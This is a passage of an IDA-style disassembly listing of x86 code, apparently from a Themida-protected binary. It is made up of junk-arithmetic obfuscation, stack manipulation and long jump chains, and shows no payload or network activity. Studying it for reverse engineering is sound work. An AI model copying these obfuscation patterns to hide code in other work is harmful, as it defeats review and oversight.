; =============== S U B	R O U T	I N E =======================================



sub_58C68D	proc near		; CODE XREF: sub_58E0B1+2459j
		push	ebp
		mov	ebp, 4
		jmp	loc_58E4BA
sub_58C68D	endp

; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_593A32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C69E:				; CODE XREF: sub_59196D-5B05j
		mov	esp, [esp+36h+var_36]
		mov	[esp+36h+var_36], ebx
		jmp	sub_58CF0B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590792


loc_58C6A9:				; CODE XREF: sub_590792-534Aj
		pop	ebx
		mov	bl, 4Bh
		xor	bl, cl
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		shr	bl, 7
		not	bl
		sub	bl, 60h
		sub	al, 6Bh
		sub	al, 8Fh
		sub	al, bl
		add	al, 8Fh
		add	al, 6Bh
		pop	ebx
		push	7FAFh
		jmp	loc_58C3C8
; END OF FUNCTION CHUNK	FOR sub_590792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C6D1:				; CODE XREF: sub_59196D-392Fj
		pop	esp
		btc	word ptr [esp+32h+var_32], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58C6DD:				; CODE XREF: sub_59196D-A3Fj
		xor	eax, 0A452A904h
		add	ebp, eax
		pop	eax
		push	ebp
		push	[esp+36h+var_32]
		pop	ebp
		pop	[esp+36h+var_36]
		pop	esp
		add	[esp+2Eh+var_2E], 5E936540h
		push	ebx
		sub	esp, 4
		mov	[esp+36h+var_36], ebp
		push	75B557A3h
		mov	ebp, [esp+3Ah+var_3C+2]
		add	esp, 4
		shl	ebp, 4
		shr	ebp, 6
		add	ebp, 795C3CAh
		jmp	loc_58DFC8
; ---------------------------------------------------------------------------


loc_58C71F:				; CODE XREF: sub_59196D+3B9j
		push	4
		pop	ebp
		add	edi, ebp
		pop	ebp
		jmp	loc_5900F4
; ---------------------------------------------------------------------------


loc_58C72D:				; CODE XREF: sub_59196D+3453j
		add	ebx, 0D4E2F3Bh
		sub	ebx, 6A024FECh
		add	ebx, 0CC0791h
		add	ebx, edx
		sub	ebx, 0CC0791h
		add	ebx, 6A024FECh
		push	ebp
		mov	ebp, 6A2F6AF6h
		inc	ebp
		jmp	loc_591561
; ---------------------------------------------------------------------------


loc_58C759:				; CODE XREF: sub_59196D+3935j
		push	eax
		push	ebp
		mov	ebp, 8B829B3h
		mov	eax, 12C9E0A6h
		jmp	loc_591F09
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58C76A:				; CODE XREF: Themida_:0058BB80j
		jmp	loc_5915E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C76F:				; CODE XREF: sub_59196D+1C24j
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], eax
		mov	eax, 290278F0h
		add	edx, eax
		pop	eax
		sub	edx, eax
		sub	edx, 290278F0h
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], esi
		mov	esi, 5B760B4Dh
		add	esi, 0C6F25D57h
		add	edx, 2DDD22CFh
		sub	edx, 5936073Fh
		sub	edx, esi
		add	edx, 5936073Fh
		push	eax
		mov	eax, 76946A56h
		or	eax, 78071616h
		not	eax
		xor	eax, 0ACB5A366h
		jmp	loc_58B7A4
; ---------------------------------------------------------------------------


loc_58C7CA:				; CODE XREF: sub_59196D-4A7Aj
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		jmp	loc_590D74
; ---------------------------------------------------------------------------


loc_58C7D8:				; CODE XREF: sub_59196D-4F66j
		add	al, 7
		and	al, 0A0h
		jmp	loc_58B3A4
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F533


loc_58C7E1:				; CODE XREF: sub_58F533+Aj
		pop	ebp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-8+arg_4]
		jmp	loc_5936FF
; END OF FUNCTION CHUNK	FOR sub_58F533
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C7F7:				; CODE XREF: sub_59196D-CD8j
		mov	ebp, [esp+3Eh+var_40+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58E2BD
; ---------------------------------------------------------------------------


loc_58C808:				; CODE XREF: sub_59196D+13E3j
		add	esi, 368336A9h
		shr	esi, 5
		jmp	loc_58BCD9
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58C816	proc near		; CODE XREF: sub_59196D+2C7Dj

; FUNCTION CHUNK AT 0059020E SIZE 00000010 BYTES

		push	ebp
		mov	ebp, 7ACF46FDh
		mov	edi, 4FB82507h
		xor	edi, ebp
		pop	ebp
		jmp	loc_59020E
sub_58C816	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C829:				; CODE XREF: sub_59196D+1639j
		push	3946h
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	eax
		mov	eax, 9D73ADEh
		mov	edi, 78AC2678h
		xor	edi, eax
		pop	eax
		jmp	loc_592F5F
; ---------------------------------------------------------------------------


loc_58C84D:				; CODE XREF: sub_59196D+5FF9j
		shl	edx, 3
		add	edx, 730C239Dh
		xor	esi, edx
		pop	edx
		jmp	loc_58BE6D
; ---------------------------------------------------------------------------


loc_58C85E:				; CODE XREF: sub_59196D-56E4j
		xor	bl, al
		movzx	eax, al
		jmp	loc_597BB4
; ---------------------------------------------------------------------------


loc_58C868:				; CODE XREF: sub_59196D-5B4Ej
		neg	al
		jmp	loc_58DDEF
; ---------------------------------------------------------------------------


loc_58C86F:				; CODE XREF: sub_59196D-23D5j
		mov	[esp+2Eh+var_2E], edi
		mov	edi, 6ACC049Dh
		inc	edi
		jmp	loc_594C1F
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CDB


loc_58C87D:				; CODE XREF: sub_590CDB+1Dj
		mov	esp, [esp+0]
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+0]
		jmp	loc_5939DA
; END OF FUNCTION CHUNK	FOR sub_590CDB
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0E2h
		dd 0F0A8518h, 0FFF2E38Ah, 6B84E9FFh, 815B0000h,	19294FE5h
		dd 51E0805Fh, 24048151h, 336561ACh, 0B9BF575Eh,	0C1120F66h
		dd 0EFC105E7h, 9EE78107h, 814FEA03h, 7B52C0F7h,	56B95147h
		dd 0E90D9A6Eh, 0AB17h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C8D8:				; CODE XREF: sub_59196D-2192j
		dec	edi
		push	esi
		mov	esi, 1ABC7A65h
		sub	esi, 58822718h
		shl	esi, 3
		push	eax
		mov	eax, 29537A9Fh
		not	eax
		jmp	loc_591141
; ---------------------------------------------------------------------------


loc_58C8F5:				; CODE XREF: sub_59196D+574Fj
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		mov	eax, [esp+32h+var_32]
		jmp	loc_59199E
; ---------------------------------------------------------------------------


loc_58C902:				; CODE XREF: sub_59196D-2AA4j
					; sub_59196D:loc_591E76j
		add	edi, 4
		sub	esp, 4
		mov	[esp+36h+var_36], ebp
		push	edx
		push	ebp
		jmp	loc_597732
; ---------------------------------------------------------------------------


loc_58C918:				; CODE XREF: sub_59196D+6A4Ej
		push	[esp+3Eh+var_40+2]
		pop	edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+42h+var_44+2]
		pop	esp
		sub	ax, bx
		push	di
		mov	di, 7FB7h
		add	ax, di
		pop	di
		jmp	loc_5976A3
; ---------------------------------------------------------------------------


loc_58C940:				; CODE XREF: sub_59196D+2068j
		mov	eax, ecx
		jmp	loc_596AE5
; ---------------------------------------------------------------------------


loc_58C947:				; CODE XREF: sub_59196D+5A00j
		and	edx, 6ED22E4Fh
		sub	edx, 30D45494h
		jle	loc_58F34D
		xor	edx, 0A36590BEh
		jmp	loc_58BACE
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	ebp
		xor	eax, 0A9F56BF8h
		add	ebx, eax
		pop	eax
		mov	edi, ebx
		jmp	loc_591660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C974:				; CODE XREF: sub_59196D+3D87j
		add	edx, eax
		mov	eax, [esp+3Eh+var_40+2]
		add	esp, 4
		xchg	edx, [esp+3Ah+var_3C+2]
		pop	esp
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp+36h+var_36]
		xor	[esp+36h+var_36], ecx
		xor	ecx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		mov	fs:[edx], ax
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58C9A1:				; CODE XREF: sub_59196D-20FCj
		add	ebx, 0E54FD582h
		jmp	loc_58EEEB
; ---------------------------------------------------------------------------


loc_58C9AC:				; CODE XREF: sub_59196D-4F71j
		jge	loc_58BD16
		push	esi
		jmp	loc_58B987
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		sub	bl, dl
		sub	bl, 0EFh
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58C9BE:				; CODE XREF: sub_59196D+38F9j
		mov	ebp, 713C3141h
		dec	ebp
		push	esi
		mov	esi, 7CA2012Dh
		sub	ebp, esi
		pop	esi
		push	esi
		mov	esi, 0F49A3017h
		xor	ebp, esi
		jmp	loc_58DBA6
; ---------------------------------------------------------------------------


loc_58C9DA:				; CODE XREF: sub_59196D+39BEj
		add	eax, [edx]
		pop	edx
		jmp	loc_58DF6E
; ---------------------------------------------------------------------------


loc_58C9E2:				; CODE XREF: sub_59196D+591Cj
		pop	ebx
		add	ecx, 25F14287h
		jmp	loc_58EDC2
; ---------------------------------------------------------------------------


loc_58C9EE:				; CODE XREF: sub_59196D+1A21j
		mov	[esp+36h+var_36], esi
		mov	esi, 56EC5E94h
		add	esi, 204325A2h
		jmp	loc_58C9AC
; ---------------------------------------------------------------------------


loc_58CA01:				; CODE XREF: sub_59196D-37B7j
		mov	al, 9Eh
		xor	al, 0E5h
		xor	al, 5Ch
		jmp	loc_58C7D8
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		jmp	loc_595D1A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	5C90h
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 723A2BADh
		add	ebx, ebp
		sub	ebx, 723A2BADh
		pop	ebp
		push	eax
		push	edx
		jmp	loc_59561F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CA4C:				; CODE XREF: sub_59196D+61EEj
		pop	esp
		add	eax, ebx
		push	edx
		mov	edx, 42A0936h
		add	eax, edx
		pop	edx
		pop	ebx
		sub	esp, 4
		jmp	loc_58FADD
; ---------------------------------------------------------------------------


loc_58CA61:				; CODE XREF: sub_59196D-310Aj
		sub	bl, ch
		add	bl, 0AFh
		jmp	loc_59663C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58CA6B:				; DATA XREF: Themida_:0058B11Co
		neg	dword ptr [esp]
		pushf
		jmp	loc_59808E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CA74:				; CODE XREF: sub_59196D:loc_590007j
		xor	ecx, 61E02EFDh
		push	esi
		mov	esi, ecx
		jmp	loc_58D8C9
; ---------------------------------------------------------------------------


loc_58CA82:				; CODE XREF: sub_59196D+40CAj
		push	ecx
		mov	ecx, 4
		jmp	loc_58B90A
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58CA8D	proc near		; DATA XREF: Themida_:0058B128o
		mov	ax, [esp+0]
		push	ebx
		push	esp
		jmp	loc_5924F0
sub_58CA8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CA98:				; CODE XREF: sub_59196D:loc_58DD2Aj
		dec	ebx
		jge	loc_59659B
		sub	ebx, 33AA6E9Bh
		mov	ecx, ebx
		add	al, 0EAh
		mov	dl, al


loc_58CAAB:				; CODE XREF: sub_59196D+4D6Ej
		neg	dh
		add	dh, 4Eh
		push	4A69h
		mov	[esp+3Eh+var_40+2], edx
		mov	dl, 0F1h
		not	dl
		sub	dl, 0AEh
		add	al, dl
		push	[esp+3Eh+var_40+2]
		pop	edx
		add	esp, 4
		add	al, dh
		jmp	loc_5923B8
; ---------------------------------------------------------------------------


loc_58CAD2:				; CODE XREF: sub_59196D-1D98j
		pop	esi
		shr	edi, 1
		push	ebp
		push	edi
		mov	edi, 5EB42B6h
		mov	ebp, 22D23F5h
		add	ebp, edi
		mov	edi, [esp+3Eh+var_40+2]
		add	esp, 4
		xor	ebp, 56C529A2h
		xor	edi, ebp
		pop	ebp
		sub	edi, 5F5F4B49h
		mov	ecx, edi
		pop	edi
		mov	edx, ecx
		mov	ecx, [esp+32h+var_32]
		push	12FDh
		mov	[esp+36h+var_36], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		jmp	loc_58D265
; ---------------------------------------------------------------------------


loc_58CB21:				; CODE XREF: sub_59196D-1D32j
					; sub_59196D+5799j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+3Ah+var_3C+2]
		jmp	loc_590F9B
; ---------------------------------------------------------------------------


loc_58CB36:				; CODE XREF: sub_59196D-47A1j
		push	4337h
		mov	[esp+3Eh+var_40+2], ebx
		jmp	sub_590438
; ---------------------------------------------------------------------------


loc_58CB43:				; CODE XREF: sub_59196D+1329j
		mov	esi, esp
		jmp	loc_592050
; ---------------------------------------------------------------------------


loc_58CB4A:				; CODE XREF: sub_59196D-56A5j
		mov	[esp+14h+var_16+2], edx
		mov	edx, 73130E21h
		shr	edx, 2
		jz	loc_591C86
		dec	edx
		jmp	loc_5922C9
; ---------------------------------------------------------------------------


loc_58CB61:				; CODE XREF: sub_59196D-4D73j
		sub	al, 30h
		sub	al, bl
		add	al, 30h
		add	al, 6
		push	5C8Dh
		mov	[esp+18h+var_1A+2], ecx
		mov	cl, 98h
		push	0
		sub	byte ptr [esp+1Ch+var_1E+2], cl
		jmp	loc_59021E
; ---------------------------------------------------------------------------


loc_58CB80:				; CODE XREF: sub_59196D-2028j
		push	eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58CB87:				; CODE XREF: sub_59196D-3DA4j
		add	al, bl
		add	al, 10h
		push	ebx
		jmp	loc_590F51
; ---------------------------------------------------------------------------


loc_58CB91:				; CODE XREF: sub_59196D-3CE8j
		push	eax
		mov	al, 0AFh
		jmp	loc_58E1AC
; ---------------------------------------------------------------------------


loc_58CB99:				; CODE XREF: sub_59196D-3E1Bj
		jmp	loc_58EDA6
; ---------------------------------------------------------------------------


loc_58CB9E:				; CODE XREF: sub_59196D+3646j
		shl	ebx, 7
		shr	ebx, 3
		jmp	loc_5959A7
; ---------------------------------------------------------------------------


loc_58CBA9:				; CODE XREF: sub_59196D-4131j
					; sub_59196D+300j
		push	6353h
		jmp	loc_59741B
; ---------------------------------------------------------------------------


loc_58CBB3:				; CODE XREF: sub_59196D-27B1j
		add	edi, 4
		jmp	sub_5909BD
; ---------------------------------------------------------------------------


loc_58CBBE:				; CODE XREF: sub_59196D+B00j
					; sub_59196D+5C5Aj
		add	esp, 2
		jmp	loc_590458
; ---------------------------------------------------------------------------


loc_58CBC6:				; CODE XREF: sub_59196D+1C4Ej
		add	edx, 4
		xchg	edx, [esp+2Ch+var_2E+2]
		pop	esp
		push	4B09h
		mov	[esp+2Ch+var_2E+2], ebp
		mov	ebp, 24h
		push	ebx
		jmp	loc_597306
; ---------------------------------------------------------------------------


loc_58CBE0:				; CODE XREF: sub_59196D-1514j
		mov	cl, 38h
		push	ebx
		mov	bl, 0B7h
		sub	cl, bl
		pop	ebx
		xor	cl, 99h
		and	cl, 33h
		add	cl, 0F8h
		sub	cl, 0FEh
		add	cl, 0FCh
		sub	al, cl
		pop	ecx
		jmp	loc_58CB61
; ---------------------------------------------------------------------------


loc_58CBFF:				; CODE XREF: sub_59196D-27EEj
		pop	ebp
		sub	esp, 4
		jmp	loc_595D11
; ---------------------------------------------------------------------------


loc_58CC0B:				; CODE XREF: sub_59196D-1CA1j
		add	ebp, edi
		jmp	loc_58C3E1
; ---------------------------------------------------------------------------


loc_58CC12:				; CODE XREF: sub_59196D-22D2j
		push	edi
		mov	edi, 0ECEFDDFCh
		sub	esi, edi
		mov	edi, [esp+30h+var_32+2]
		jmp	loc_58FAC9
; ---------------------------------------------------------------------------


loc_58CC22:				; CODE XREF: sub_59196D-19Ej
		sub	esi, ecx
		pop	ecx
		add	esi, eax
		add	esi, 2F100DCDh
		push	7B36h
		mov	[esp+30h+var_32+2], eax
		mov	eax, 4CEF035Eh
		push	edi
		push	esi
		push	2D5F3DBCh
		jmp	loc_58B8F6
; ---------------------------------------------------------------------------


loc_58CC46:				; CODE XREF: sub_59196D:loc_58E6FAj
		xor	ebp, 62354324h
		xor	ebp, 417439C1h
		jmp	loc_58C0EC
; ---------------------------------------------------------------------------


loc_58CC57:				; CODE XREF: sub_59196D+2401j
		mov	ax, word ptr [esp+3Ch+var_3C]
		sub	esp, 4
		jmp	loc_58F289
; ---------------------------------------------------------------------------


loc_58CC63:				; CODE XREF: sub_59196D+6016j
		mov	ecx, 77C37F4h
		shr	ecx, 8
		xor	ecx, 1FC50233h
		xor	ecx, 1FC27E00h
		add	ebx, ecx
		mov	ecx, [esp+40h+var_40]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+44h+var_44]
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp+40h+var_40]
		pop	esp
		pop	esi
		push	79CDh
		mov	[esp+3Ch+var_3C], ebx
		push	10A445FEh
		pop	ebx
		push	ebx
		jmp	loc_58F079
; ---------------------------------------------------------------------------


loc_58CCA8:				; CODE XREF: sub_59196D+13B7j
		pop	ecx
		add	bl, al
		pop	ax
		jmp	loc_58E37E
; ---------------------------------------------------------------------------


loc_58CCB2:				; CODE XREF: sub_59196D-446Fj
		dec	edi
		xor	edi, 934783Dh
		neg	edi
		jmp	loc_59172C
; ---------------------------------------------------------------------------


loc_58CCC0:				; CODE XREF: sub_59196D-3E78j
		pop	edx
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], ebx
		add	[esp+3Ah+var_3C+2], 253F0212h
		jmp	loc_595ACA
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C57F


loc_58CCD6:				; CODE XREF: sub_58C57F+6j
		mov	[esp+4+var_4], eax
		push	ecx
		jmp	loc_59365E
; END OF FUNCTION CHUNK	FOR sub_58C57F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CCDF:				; CODE XREF: sub_59196D-3747j
		sub	al, 0AEh
		add	al, 44h
		xor	al, 0ABh
		jmp	loc_5914BF
; ---------------------------------------------------------------------------


loc_58CCEA:				; CODE XREF: sub_59196D-1169j
		mov	ebx, 0C4A74192h
		add	esi, ebx
		jmp	loc_591E7B
; ---------------------------------------------------------------------------


loc_58CCF6:				; CODE XREF: sub_59196D+41FBj
		push	0D15h
		mov	[esp+3Eh+var_40+2], edx
		push	4C9307C7h
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		and	edx, 2DA40ACh
		jno	loc_58F0C0
		jmp	loc_59494C
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 4
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CD20:				; CODE XREF: sub_59196D-472Fj
		mov	[esp+3Eh+var_40+2], ecx
		mov	ecx, 4EBE6BE2h
		jmp	loc_596DEA
; ---------------------------------------------------------------------------


loc_58CD2D:				; CODE XREF: sub_59196D+5782j
		add	eax, 789B662Ah
		jmp	loc_58E6FF
; ---------------------------------------------------------------------------


loc_58CD37:				; CODE XREF: sub_59196D+389Aj
		add	ebp, 0FFFFFFFFh
		jmp	loc_596173
; ---------------------------------------------------------------------------


loc_58CD3F:				; CODE XREF: sub_59196D+1900j
		or	cl, 0BEh
		sub	cl, 64h
		add	cl, 39h
		add	al, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_58D5F6
; ---------------------------------------------------------------------------


loc_58CD53:				; CODE XREF: sub_59196D-1CB6j
		sub	bl, ah
		pop	eax
		push	cx
		mov	ch, 93h
		add	bl, ch
		pop	cx
		jmp	loc_59453B
; ---------------------------------------------------------------------------


loc_58CD63:				; CODE XREF: sub_59196D+28FEj
		xor	ebx, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		add	word ptr [esp+3Ah+var_3C+2], ax
		pushf
		jmp	loc_5956F9
; ---------------------------------------------------------------------------


loc_58CD73:				; CODE XREF: sub_59196D-44E2j
		add	edi, 4
		xchg	edi, [esp+3Eh+var_40+2]
		jmp	loc_590BCF
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58CD7E	proc near		; CODE XREF: sub_59196D+5FC7j
		push	ebp
		mov	ebp, 2E6478F9h
		sub	eax, ebp
		jmp	loc_58F50F
sub_58CD7E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CD8B:				; CODE XREF: sub_59196D-17B4j
					; sub_59196D+3FFEj
		add	eax, 71F0FFCAh
		sub	edx, 45F2794Ch
		add	edx, eax
		add	edx, 45F2794Ch
		pop	eax
		add	edx, ebp
		sub	edx, 9D822ABh
		jmp	loc_59759C
; ---------------------------------------------------------------------------


loc_58CDAC:				; CODE XREF: sub_59196D-5EF2j
		jz	loc_595B9B
		add	eax, 708D0E16h
		jle	loc_58B6D5
		or	eax, 310C08A5h
		jmp	loc_58E77C
; ---------------------------------------------------------------------------


loc_58CDC7:				; CODE XREF: sub_59196D+303Cj
		push	dword ptr [eax]
		jmp	loc_58B37B
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58CDCE:				; CODE XREF: Themida_:00590607j
		add	esp, 4
		pop	edi
		sub	eax, 6D8339DDh
		sub	eax, ebp
		add	eax, 6D8339DDh
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_593327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CDEC:				; CODE XREF: sub_59196D+4C09j
		push	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_594491
; ---------------------------------------------------------------------------


loc_58CDFE:				; CODE XREF: sub_59196D+2DE5j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+20h+var_22+2]
		jmp	loc_597FD8
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FC53


loc_58CE11:				; CODE XREF: sub_58FC53-C70j
		add	bl, 10h
		add	bl, 8Ch
		shl	bl, 3
		sub	bl, 95h
		jmp	loc_594A35
; END OF FUNCTION CHUNK	FOR sub_58FC53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CE22:				; CODE XREF: Themida_:0058FE15j
					; sub_59196D+EEAj
		add	ebp, eax
		pop	eax
		sub	ebp, 4BCF4185h
		not	ebp
		push	ecx
		mov	ecx, 20486705h
		shr	ecx, 7
		inc	ecx
		sub	ecx, 0A76593Dh
		jmp	loc_58EDA6
; ---------------------------------------------------------------------------


loc_58CE42:				; CODE XREF: sub_59196D-269Ej
					; DATA XREF: Themida_:0058B0D0o
		mov	cx, word ptr [esp+20h+var_22+2]
		sub	esp, 4
		jmp	loc_590E13
; ---------------------------------------------------------------------------


loc_58CE4E:				; CODE XREF: sub_59196D-5F5Cj
		pop	esi
		xor	ebp, 263FC5C0h
		add	esi, ebp
		pop	ebp
		pop	edx
		xchg	esi, [esp+10h+var_12+2]
		pop	esp
		div	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp+10h+var_12+2], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_58FB05
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------


loc_58CE7B:				; CODE XREF: Themida_:0058FBB8j
		push	ecx
		jmp	loc_59398D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CE81:				; CODE XREF: sub_59196D-64C4j
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_58CE86:				; CODE XREF: sub_59196D+194Cj
		mov	esp, [esp+0]
		jmp	loc_591690
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
		dw 0B450h
; ---------------------------------------------------------------------------
		fild	word ptr [eax-0B7F5C14h]
		retn
; ---------------------------------------------------------------------------
		db 80h
		dd 0F2E99CC1h
		db 0F9h, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_58CE9F	proc near		; CODE XREF: sub_59196D+AD2j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5945E2
sub_58CE9F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CEB2:				; CODE XREF: sub_59196D-1651j
		push	ecx
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_597E12
; ---------------------------------------------------------------------------


loc_58CEBC:				; CODE XREF: sub_59196D-45B1j
					; sub_58F469+4A1j
		mov	si, word ptr [esp+0Ch+var_C]
		add	esp, 2
		inc	si
		add	si, 0B18h
		sub	ax, si
		mov	esi, [esp+8+var_8]
		push	63F7h
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+10h+var_12+2], ebx
		push	edi
		mov	edi, 464A769Dh
		mov	ebx, 464A76A1h
		sub	ebx, edi
		pop	edi
		jmp	loc_58C7CA
; ---------------------------------------------------------------------------


loc_58CEF8:				; CODE XREF: sub_59196D+3A2Dj
		push	0B1F7B09h
		pop	ebp
		not	ebp
		xor	ebp, 199B757Dh
		jmp	loc_596DD0
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58CF0B	proc near		; CODE XREF: sub_59196D-52C9j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_592581
sub_58CF0B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CF1C:				; CODE XREF: sub_59196D-2611j
		mov	dl, 58h
		xor	dl, 0EFh
		jnp	loc_593A74
		or	dl, 47h
		jge	loc_58BF79
		jmp	loc_58C623
; END OF FUNCTION CHUNK	FOR sub_59196D

; =============== S U B	R O U T	I N E =======================================



sub_58CF35	proc near		; DATA XREF: Themida_:0058B1FCo
		mov	ax, [esp+0]
		push	ebx
		jmp	loc_592D34
sub_58CF35	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59196D


loc_58CF3F:				; CODE XREF: sub_59196D-305Cj
		push	edi
		mov	edi, 609275F3h
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebx
		mov	ebx, 3E35260Eh
		add	eax, ebx
		pop	ebx
		add	eax, edi
		sub	eax, 3E35260Eh
		sub	eax, 609275F3h
		jmp	loc_59029B
; ---------------------------------------------------------------------------


loc_58CF67:				; CODE XREF: sub_59196D+187Dj
		add	edi, 2
		push	edi
		push	[esp+14h+var_12+2]
		pop	edi
		pop	[esp+14h+var_16+2]
		pop	esp
		mul	cx
		push	44BEh
		mov	[esp+10h+var_12+2], edi
		mov	edi, esp
		push	eax
		jmp	loc_591F10
; ---------------------------------------------------------------------------


loc_58CF87:				; CODE XREF: sub_59196D+1604j
		push	esp
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		add	ecx, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+18h+var_1A+2]
		jmp	loc_58BC53
; ---------------------------------------------------------------------------


loc_58CFAE:				; CODE XREF: sub_59196D+5C7Fj
		mov	esp, [esp+18h+var_1A+2]


loc_58CFB1:				; CODE XREF: sub_59196D-17C5j
		push	2BF0h
		mov	[esp+1Ch+var_1E+2], ebx
		push	[esp+1Ch+var_1E+2]
		push	[esp+20h+var_22+2]
		mov	ebx, [esp+24h+var_26+2]
		push	27C2h
		mov	[esp+28h+var_2A+2], eax
		mov	eax, esp
		push	edi
		mov	edi, 3B1D0D96h
		jmp	loc_58C105
; END OF FUNCTION CHUNK	FOR sub_59196D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5906EB


